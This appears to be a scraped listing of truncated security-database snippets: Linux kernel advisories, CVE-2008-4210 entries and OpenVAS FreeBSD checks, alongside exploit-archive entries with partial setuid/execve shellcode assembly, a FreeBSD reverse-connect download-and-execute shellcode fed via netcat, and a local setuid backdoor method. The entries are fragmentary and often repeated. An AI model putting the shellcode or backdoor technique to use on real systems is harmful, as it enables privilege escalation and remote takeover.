Important: Red Hat Security Advisory: kernel security and bug fix update

Updated kernel packages that resolve several security issues and fix various bugs are now available for Red Hat Enterprise Linux 4. This update has been rated as having important security impact by the Red Hat Security Response Team. The kernel packages contain the Linux kernel, the core of any...

kernel: open() call allows setgid bit when user is not in new file's group

fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable...

linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 27 bytes

No description provided by source. ----------- C Source Code ----------- / Smallest GNU/Linux x86 setuid0 && execve"/bin/sh",0,0 Shellcode without NULLs Coded by Chema Garcia aka sch3m4 + [email protected] + http://opensec.es Shellcode Size: 27 bytes Date: 13/11/2008 / include stdio.h const char...

linux/x86 setuid(0) & execve(/bin/sh 0 0) shellcode 28 bytes

No description provided by source. -------------------ASM---------------------- global start section .text start: ;setuid0 xor ebx,ebx lea eax,ebx+17h cdq int 80h ;execve"/bin/sh",0,0 xor ecx,ecx push ecx push 0x68732f6e push 0x69622f2f lea eax,ecx+0Bh mov ebx,esp int 80h...

linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 28 bytes

Exploit for linux/x86 platform in category shellcode ============================================================ linux/x86 setuid0 & execve/bin/sh,0,0 shellcode 28 bytes ============================================================ -------------------ASM---------------------- global start section...

linux/x86 setuid0 & execve/bin/sh,0,0 shellcode 28 bytes

linux/x86 setuid0 & execve/bin/sh,0,0 shellcode 28 bytes. Shellcode exploit for linx86 platform -------------------ASM---------------------- global start section .text start: ;setuid0 xor ebx,ebx lea eax,ebx+17h cdq int 80h ;execve"/bin/sh",0,0 xor ecx,ecx push ecx push 0x68732f6e push 0x69622f2f...

A stack overflow attack and the anti-vulnerability warning-the black bar safety net

Overflow is the security of the network is often a contact to a problem, once there is some kind of overflow vulnerability, the network of thousands of computers will become a Hacker brothers and sisters on the chopping block of meat. Then the overflow in the end is what? This attack method...

PT-2008-5180 · Linux +1 · Linux Kernel +1

Name of the Vulnerable Software and Affected Versions: Linux kernel versions prior to 2.6.19 Description: The issue allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by splicing into an inode in order to...

CVE-2008-4210

fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable...

CVE-2008-4210

fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable...

under linux to stay Local the back door of the two methods-vulnerability warning-the black bar safety net

Method one: setuid method, in fact, 8 is very secluded. Look at the process: root@localdomain lib ls-l |grep ld-linux lrwxrwxrwx 1 root root 9 2008-06-07 1 7:3 2 ld-linux. so. 2 - ld-2.7. so lrwxrwxrwx 1 root root 1 3 2008-06-07 1 7:4 7 ld-lsb. so. 3 - ld-linux. so. 2 root@localdomain lib chmod +...

freebsd/x86 rev connect, recv, jmp, return results 90 bytes

No description provided by source. / ; sm4x - 2008 ; reverse connect dlshellcode and execute, exit ; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ; ; - feed it with a $nc -vvl -p8000 shellcodeinfile ; setuid0; socket; connect; dups; recv; jmp; exit; ; 90...

freebsd/x86 rev connect, recv, jmp, return results 90 bytes

Exploit for freebsd/x86 platform in category shellcode =========================================================== freebsd/x86 rev connect, recv, jmp, return results 90 bytes =========================================================== / ; sm4x - 2008 ; reverse connect dlshellcode and execute, exi...

freebsd/x86 rev connect, recv, jmp, return results 90 bytes

freebsd/x86 rev connect, recv, jmp, return results 90 bytes. Shellcode exploit for freebsdx86 platform / ; sm4x - 2008 ; reverse connect dlshellcode and execute, exit ; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ; ; - feed it with a $nc -vvl -p8000 pls ex...

freebsd/x86 rev connect recv jmp return results 90 bytes

No description provided by source. / ; sm4x - 2008 ; reverse connect dlshellcode and execute, exit ; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ; ; - feed it with a $nc -vvl -p8000 shellcodeinfile ; setuid0; socket; connect; dups; recv; jmp; exit; ; 90...

FreeBSD Ports: cdrdao

The remote host is missing an update to the system as announced in the referenced advisory. VID d51a7e6e-c546-11d9-9aed-000e0c2e438a OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...

FreeBSD Ports: ja-uim

The remote host is missing an update to the system as announced in the referenced advisory. VID fb03b1c6-8a8a-11d9-81f7-02023f003c9f OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...

FreeBSD Ports: ifmail

The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

FreeBSD Ports: cdrdao

The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

FreeBSD Ports: ko-helvis

The remote host is missing an update to the system as announced in the referenced advisory. VID 0cf3480d-5fdf-11d9-b721-00065be4b5b6 OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...